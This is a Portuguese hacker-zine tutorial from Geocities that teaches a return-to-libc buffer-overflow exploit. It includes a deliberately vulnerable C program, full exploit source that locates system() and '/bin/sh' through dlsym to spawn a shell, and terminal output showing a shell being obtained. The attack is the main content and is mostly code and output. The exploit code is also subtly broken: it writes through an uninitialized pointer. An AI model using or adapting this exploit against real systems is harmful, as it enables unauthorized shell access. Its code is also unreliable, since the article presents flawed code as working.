Uma nova maneira de se escrever exploits

Este projeto visa criar uma nova maneira de se escrever exploits, sem
precisarmos criar uma porra de um shellcode nem tentarmos varios offsets, etc...
Mas como issu funcionaria???
A Cyber9 te diz eh o seguinte...
No metodo comum de exploitar, reescrevemos o RET ADDR para que ele seja
direcionado ao inicio do buffer e assim execute o shellcode.
Neste novo metodo direcionamos o RET ADDR para o address da funcao
system() e assim possamos executar um /bin/sh por exemplo.
Vamos colocar um prog vulneravel primeiro:

<++> omega/vuln.c

main(int argc, char **argv)
{
char buf[8];
if(argc > 1) strcpy(buf, argv[1]);
}

<-->

Esse programa pode ser facilmente exploitado do metodo basico, mas
vamos ver como faze-lo baseado neste projeto...
(Veja os comentarios).

<++> omega/ex.c

#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
int a,b;
char *buf;
long addr,shell,i;
void *handle;

// Procura pelo system() na libc.
handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");

// Procura por "/bin/sh" a partir do address do system().
shell = addr;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;

// Vamos fazer o buffer (de 24 bytes).
memset(buf,0x41,24);

// Veja a manha aki...
*(long *)&buf[12] = addr; // system()
*(long *)&buf[20] = shell; // arg1 ("/bin/sh");

execl("vuln","vuln",buf,0x0);
}

<-->

Agora vamos ver c funciona direito...

~# gcc ex.c -o ex -ldl
~# gcc vuln.c -o vuln
~# ./ex
Illegal Instruction (core dumped)

Duh!!!
Vamos tentar assim...

~# gcc vuln.c -o vuln -ldl
~# ./ex
bash#

Blza intaum!!!
Realmente funfa mas tem suas exigencias... O exploit soh funciona
quando o programa vulneravel eh compilado com suporte a library dl. :P
Issu eh tudo.

BY Imperador hacker

Hosted by www.Geocities.ws

Copyright © Cyber Nine/Crack's S.A todos direitos reservados
Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

Hosted by www.Geocities.ws

1